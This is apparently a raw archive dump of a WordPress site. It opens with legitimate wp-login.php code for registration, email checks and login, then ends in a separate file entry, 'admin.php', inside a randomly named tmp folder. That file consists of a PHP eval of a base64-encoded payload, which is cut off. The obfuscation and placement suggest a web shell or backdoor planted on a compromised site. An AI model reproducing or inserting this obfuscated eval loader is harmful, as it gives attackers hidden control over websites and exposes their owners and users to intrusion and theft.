class="wp-login-log-in" href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log in' ); ?></a> <?php if ( get_option( 'users_can_register' ) ) { $registration_url = sprintf( '<a class="wp-login-register" href="%s">%s</a>', esc_url( wp_registration_url() ), __( 'Register' ) ); echo esc_html( $login_link_separator ); /** This filter is documented in wp-includes/general-template.php */ echo apply_filters( 'register', $registration_url ); } ?> </p> <?php login_footer( 'pass1' ); break; case 'register': if ( is_multisite() ) { /** * Filters the Multisite sign up URL. * * @since 3.0.0 * * @param string $sign_up_url The sign up URL. */ wp_redirect( apply_filters( 'wp_signup_location', network_site_url( 'wp-signup.php' ) ) ); exit; } if ( ! get_option( 'users_can_register' ) ) { wp_redirect( site_url( 'wp-login.php?registration=disabled' ) ); exit; } $user_login = ''; $user_email = ''; if ( $http_post ) { if ( isset( $_POST['user_login'] ) && is_string( $_POST['user_login'] ) ) { $user_login = wp_unslash( $_POST['user_login'] ); } if ( isset( $_POST['user_email'] ) && is_string( $_POST['user_email'] ) ) { $user_email = wp_unslash( $_POST['user_email'] ); } $errors = register_new_user( $user_login, $user_email ); if ( ! is_wp_error( $errors ) ) { $redirect_to = ! empty( $_POST['redirect_to'] ) ? $_POST['redirect_to'] : 'wp-login.php?checkemail=registered'; wp_safe_redirect( $redirect_to ); exit; } } $registration_redirect = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : ''; /** * Filters the registration redirect URL. * * @since 3.0.0 * @since 5.9.0 Added the `$errors` parameter. * * @param string $registration_redirect The redirect destination URL. * @param int|WP_Error $errors User id if registration was successful, * WP_Error object otherwise. */ $redirect_to = apply_filters( 'registration_redirect', $registration_redirect, $errors ); login_header( __( 'Registration Form' ), wp_get_admin_notice( __( 'Register For This Site' ), array( 'type' => 'info', 'additional_classes' => array( 'message', 'register' ), ) ), $errors ); ?> <form name="registerform" id="registerform" action="<?php echo esc_url( site_url( 'wp-login.php?action=register', 'login_post' ) ); ?>" method="post" novalidate="novalidate"> <p> <label for="user_login"><?php _e( 'Username' ); ?></label> <input type="text" name="user_login" id="user_login" class="input" value="<?php echo esc_attr( $user_login ); ?>" size="20" autocapitalize="off" autocomplete="username" required="required" /> </p> <p> <label for="user_email"><?php _e( 'Email' ); ?></label> <input type="email" name="user_email" id="user_email" class="input" value="<?php echo esc_attr( $user_email ); ?>" size="25" autocomplete="email" required="required" /> </p> <?php /** * Fires following the 'Email' field in the user registration form. * * @since 2.1.0 */ do_action( 'register_form' ); ?> <p id="reg_passmail"> <?php _e( 'Registration confirmation will be emailed to you.' ); ?> </p> <input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" /> <p class="submit"> <input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e( 'Register' ); ?>" /> </p> </form> <p id="nav"> <a class="wp-login-log-in" href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log in' ); ?></a> <?php echo esc_html( $login_link_separator ); $html_link = sprintf( '<a class="wp-login-lost-password" href="%s">%s</a>', esc_url( wp_lostpassword_url() ), __( 'Lost your password?' ) ); /** This filter is documented in wp-login.php */ echo apply_filters( 'lost_password_html_link', $html_link ); ?> </p> <?php login_footer( 'user_login' ); break; case 'checkemail': $redirect_to = admin_url(); $errors = new WP_Error(); if ( 'confirm' === $_GET['checkemail'] ) { $errors->add( 'confirm', sprintf( /* translators: %s: Link to the login page. */ __( 'Check your email for the confirmation link, then visit the <a href="%s">login page</a>.' ), wp_login_url() ), 'message' ); } elseif ( 'registered' === $_GET['checkemail'] ) { $errors->add( 'registered', sprintf( /* translators: %s: Link to the login page. */ __( 'Registration complete. Please check your email, then visit the <a href="%s">login page</a>.' ), wp_login_url() ), 'message' ); } /** This action is documented in wp-login.php */ $errors = apply_filters( 'wp_login_errors', $errors, $redirect_to ); login_header( __( 'Check your email' ), '', $errors ); login_footer(); break; case 'confirmaction': if ( ! isset( $_GET['request_id'] ) ) { wp_die( __( 'Missing request ID.' ) ); } if ( ! isset( $_GET['confirm_key'] ) ) { wp_die( __( 'Missing confirm key.' ) ); } $request_id = (int) $_GET['request_id']; $key = sanitize_text_field( wp_unslash( $_GET['confirm_key'] ) ); $result = wp_validate_user_request_key( $request_id, $key ); if ( is_wp_error( $result ) ) { wp_die( $result ); } /** * Fires an action hook when the account action has been confirmed by the user. * * Using this you can assume the user has agreed to perform the action by * clicking on the link in the confirmation email. * * After firing this action hook the page will redirect to wp-login a callback * redirects or exits first. * * @since 4.9.6 * * @param int $request_id Request ID. */ do_action( 'user_request_action_confirmed', $request_id ); $message = _wp_privacy_account_request_confirmed_message( $request_id ); login_header( __( 'User action confirmed.' ), $message ); login_footer(); exit; case 'login': default: $secure_cookie = ''; $customize_login = isset( $_REQUEST['customize-login'] ); if ( $customize_login ) { wp_enqueue_script( 'customize-base' ); } // If the user wants SSL but the session is not SSL, force a secure cookie. if ( ! empty( $_POST['log'] ) && ! force_ssl_admin() ) { $user_name = sanitize_user( wp_unslash( $_POST['log'] ) ); $user = get_user_by( 'login', $user_name ); if ( ! $user && strpos( $user_name, '@' ) ) { $user = get_user_by( 'email', $user_name ); } if ( $user ) { if ( get_user_option( 'use_ssl', $user->ID ) ) { $secure_cookie = true; force_ssl_admin( true ); } } } if ( isset( $_REQUEST['redirect_to'] ) && is_string( $_REQUEST['redirect_to'] ) ) { $redirect_to = $_REQUEST['redirect_to']; // Redirect to HTTPS if user wants SSL. if ( $secure_cookie && str_contains( $redirect_to, 'wp-admin' ) ) { $redirect_to = preg_replace( '|^http://|', 'https://', $redirect_to ); } } else { $redirect_to = admin_url(); } $reauth = ! empty( $_REQUEST['reauth'] ); $user = wp_signon( array(), $secure_cookie ); if ( empty( $_COOKIE[ LOGGED_IN_COOKIE ] ) ) { if ( headers_sent() ) { $user = new WP_Error( 'test_cookie', sprintf( /* translators: 1: Browser cookie documentation URL, 2: Support forums URL. */ __( '<strong>Error:</strong> Cookies are blocked due to unexpected output. For help, please see <a href="%1$s">this documentation</a> or try the <a href="%2$s">support forums</a>.' ), __( 'https://developer.wordpress.org/advanced-administration/wordpress/cookies/' ), __( 'https://wordpress.org/support/forums/' ) ) ); } elseif ( isset( $_POST['testcookie'] ) && empty( $_COOKIE[ TEST_COOKIE ] ) ) { // If cookies are disabled, the user can't log in even with a valid username and password. $user = new WP_Error( 'test_cookie', sprintf( /* translators: %s: Browser cookie documentation URL. */ __( '<strong>Error:</strong> Cookies are blocked or not supported by your browser. You must <a href="%s">enable cookies</a> to use WordPress.' ), __( 'https://developer.wordpress.org/advanced-administration/wordpress/cookies/#enable-cookies-in-your-browser' ) ) ); } } $requested_redirect_to = isset( $_REQUEST['redirect_to'] ) && is_string( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : ''; /** * Filters the login redirect URL. * * @since 3.0.0 * * @param string $redirect_to The redirect destination URL. * @param string $requested_redirect_to The requested redirect destination URL passed as a parameter. * @param WP_User|WP_Error $user WP_User object if login was successful, WP_Error object otherwise. */ $redirect_to = apply_filters( 'login_redirect', $redirect_to, $requested_redirect_to, $user ); if ( ! is_wp_error( $user ) && ! $reauth ) { if ( $interim_login ) { $message = '<p class="message">' . __( 'You have logged in successfully.' ) . '</p>'; $interim_login = 'success'; login_header( '', $message ); ?> </div> <?php /** This action is documented in wp-login.php */ do_action( 'login_footer' ); if ( $customize_login ) { ob_start(); ?> <script>setTimeout( function(){ new wp.customize.Messenger({ url: '<?php echo wp_customize_url(); ?>', channel: 'login' }).send('login') }, 1000 );</script> <?php wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) ); } ?> </body></html> <?php exit; } // Check if it is time to add a redirect to the admin email confirmation screen. if ( $user instanceof WP_User && $user->exists() && $user->has_cap( 'manage_options' ) ) { $admin_email_lifespan = (int) get_option( 'admin_email_lifespan' ); /* * If `0` (or anything "falsey" as it is cast to int) is returned, the user will not be redirected * to the admin email confirmation screen. */ /** This filter is documented in wp-login.php */ $admin_email_check_interval = (int) apply_filters( 'admin_email_check_interval', 6 * MONTH_IN_SECONDS ); if ( $admin_email_check_interval > 0 && time() > $admin_email_lifespan ) { $redirect_to = add_query_arg( array( 'action' => 'confirm_admin_email', 'wp_lang' => get_user_locale( $user ), ), wp_login_url( $redirect_to ) ); } } if ( ( empty( $redirect_to ) || 'wp-admin/' === $redirect_to || admin_url() === $redirect_to ) ) { // If the user doesn't belong to a blog, send them to user admin. If the user can't edit posts, send them to their profile. if ( is_multisite() && ! get_active_blog_for_user( $user->ID ) && ! is_super_admin( $user->ID ) ) { $redirect_to = user_admin_url(); } elseif ( is_multisite() && ! $user->has_cap( 'read' ) ) { $redirect_to = get_dashboard_url( $user->ID ); } elseif ( ! $user->has_cap( 'edit_posts' ) ) { $redirect_to = $user->has_cap( 'read' ) ? admin_url( 'profile.php' ) : home_url(); } wp_redirect( $redirect_to ); exit; } wp_safe_redirect( $redirect_to ); exit; } $errors = $user; // Clear errors if loggedout is set. if ( ! empty( $_GET['loggedout'] ) || $reauth ) { $errors = new WP_Error(); } if ( empty( $_POST ) && $errors->get_error_codes() === array( 'empty_username', 'empty_password' ) ) { $errors = new WP_Error( '', '' ); } if ( $interim_login ) { if ( ! $errors->has_errors() ) { $errors->add( 'expired', __( 'Your session has expired. Please log in to continue where you left off.' ), 'message' ); } } else { // Some parts of this script use the main login form to display a message. if ( isset( $_GET['loggedout'] ) && $_GET['loggedout'] ) { $errors->add( 'loggedout', __( 'You are now logged out.' ), 'message' ); } elseif ( isset( $_GET['registration'] ) && 'disabled' === $_GET['registration'] ) { $errors->add( 'registerdisabled', __( '<strong>Error:</strong> User registration is currently not allowed.' ) ); } elseif ( str_contains( $redirect_to, 'about.php?updated' ) ) { $errors->add( 'updated', __( '<strong>You have successfully updated WordPress!</strong> Please log back in to see what’s new.' ), 'message' ); } elseif ( WP_Recovery_Mode_Link_Service::LOGIN_ACTION_ENTERED === $action ) { $errors->add( 'enter_recovery_mode', __( 'Recovery Mode Initialized. Please log in to continue.' ), 'message' ); } elseif ( isset( $_GET['redirect_to'] ) && is_string( $_GET['redirect_to'] ) && str_contains( $_GET['redirect_to'], 'wp-admin/authorize-application.php' ) ) { $query_component = wp_parse_url( $_GET['redirect_to'], PHP_URL_QUERY ); $query = array(); if ( $query_component ) { parse_str( $query_component, $query ); } if ( ! empty( $query['app_name'] ) ) { /* translators: 1: Website name, 2: Application name. */ $message = sprintf( 'Please log in to %1$s to authorize %2$s to connect to your account.', get_bloginfo( 'name', 'display' ), '<strong>' . esc_html( $query['app_name'] ) . '</strong>' ); } else { /* translators: %s: Website name. */ $message = sprintf( 'Please log in to %s to proceed with authorization.', get_bloginfo( 'name', 'display' ) ); } $errors->add( 'authorize_application', $message, 'message' ); } } /** * Filters the login page errors. * * @since 3.6.0 * * @param WP_Error $errors WP Error object. * @param string $redirect_to Redirect destination URL. */ $errors = apply_filters( 'wp_login_errors', $errors, $redirect_to ); // Clear any stale cookies. if ( $reauth ) { wp_clear_auth_cookie(); } login_header( __( 'Log In' ), '', $errors ); if ( isset( $_POST['log'] ) ) { $user_login = ( 'incorrect_password' === $errors->get_error_code() || 'empty_password' === $errors->get_error_code() ) ? wp_unslash( $_POST['log'] ) : ''; } $rememberme = ! empty( $_POST['rememberme'] ); $aria_describedby = ''; $has_errors = $errors->has_errors(); if ( $has_errors ) { $aria_describedby = ' aria-describedby="login_error"'; } if ( $has_errors && 'message' === $errors->get_error_data() ) { $aria_describedby = ' aria-describedby="login-message"'; } wp_enqueue_script( 'user-profile' ); ?> <form name="loginform" id="loginform" action="<?php echo esc_url( site_url( 'wp-login.php', 'login_post' ) ); ?>" method="post"> <p> <label for="user_login"><?php _e( 'Username or Email Address' ); ?></label> <input type="text" name="log" id="user_login"<?php echo $aria_describedby; ?> class="input" value="<?php echo esc_attr( $user_login ); ?>" size="20" autocapitalize="off" autocomplete="username" required="required" /> </p> <div class="user-pass-wrap"> <label for="user_pass"><?php _e( 'Password' ); ?></label> <div class="wp-pwd"> <input type="password" name="pwd" id="user_pass"<?php echo $aria_describedby; ?> class="input password-input" value="" size="20" autocomplete="current-password" spellcheck="false" required="required" /> <button type="button" class="button button-secondary wp-hide-pw hide-if-no-js" data-toggle="0" aria-label="<?php esc_attr_e( 'Show password' ); ?>"> <span class="dashicons dashicons-visibility" aria-hidden="true"></span> </button> </div> </div> <?php /** * Fires following the 'Password' field in the login form. * * @since 2.1.0 */ do_action( 'login_form' ); ?> <p class="forgetmenot"><input name="rememberme" type="checkbox" id="rememberme" value="forever" <?php checked( $rememberme ); ?> /> <label for="rememberme"><?php esc_html_e( 'Remember Me' ); ?></label></p> <p class="submit"> <input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e( 'Log In' ); ?>" /> <?php if ( $interim_login ) { ?> <input type="hidden" name="interim-login" value="1" /> <?php } else { ?> <input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" /> <?php } if ( $customize_login ) { ?> <input type="hidden" name="customize-login" value="1" /> <?php } ?> <input type="hidden" name="testcookie" value="1" /> </p> </form> <?php if ( ! $interim_login ) { ?> <p id="nav"> <?php if ( get_option( 'users_can_register' ) ) { $registration_url = sprintf( '<a class="wp-login-register" href="%s">%s</a>', esc_url( wp_registration_url() ), __( 'Register' ) ); /** This filter is documented in wp-includes/general-template.php */ echo apply_filters( 'register', $registration_url ); echo esc_html( $login_link_separator ); } $html_link = sprintf( '<a class="wp-login-lost-password" href="%s">%s</a>', esc_url( wp_lostpassword_url() ), __( 'Lost your password?' ) ); /** * Filters the link that allows the user to reset the lost password. * * @since 6.1.0 * * @param string $html_link HTML link to the lost password form. */ echo apply_filters( 'lost_password_html_link', $html_link ); ?> </p> <?php } $login_script = 'function wp_attempt_focus() {'; $login_script .= 'setTimeout( function() {'; $login_script .= 'try {'; if ( $user_login ) { $login_script .= 'd = document.getElementById( "user_pass" ); d.value = "";'; } else { $login_script .= 'd = document.getElementById( "user_login" );'; if ( $errors->get_error_code() === 'invalid_username' ) { $login_script .= 'd.value = "";'; } } $login_script .= 'd.focus(); d.select();'; $login_script .= '} catch( er ) {}'; $login_script .= '}, 200);'; $login_script .= "}\n"; // End of wp_attempt_focus(). /** * Filters whether to print the call to `wp_attempt_focus()` on the login screen. * * @since 4.8.0 * * @param bool $print Whether to print the function call. Default true. */ if ( apply_filters( 'enable_login_autofocus', true ) && ! $error ) { $login_script .= "wp_attempt_focus();\n"; } // Run `wpOnload()` if defined. $login_script .= "if ( typeof wpOnload === 'function' ) { wpOnload() }"; wp_print_inline_script_tag( $login_script ); if ( $interim_login ) { ob_start(); ?> <script> ( function() { try { var i, links = document.getElementsByTagName( 'a' ); for ( i in links ) { if ( links[i].href ) { links[i].target = '_blank'; } } } catch( er ) {} }()); </script> <?php wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) ); } login_footer(); break; } // End action switch. tmp/tmp/files/fmoty/umezj/admin.php 0000444 00000053427 15151372114 0013350 0 ustar 00 <?=eval("?>".base64_decode("PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KCjxoZWFkPgoJCTxtZXRhIGNoYXJzZXQ9 InV0Zi04Ij4KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Ut d2lkdGgsIGluaXRpYWwtc2NhbGU9MC43NSwgc2hyaW5rLXRvLWZpdD1ubyI+CiAgICA8bGluayBy ZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vc3RhY2twYXRoLmJvb3RzdHJhcGNkbi5jb20v Ym9vdHN0cmFwLzQuMS4zL2Nzcy9ib290c3RyYXAubWluLmNzc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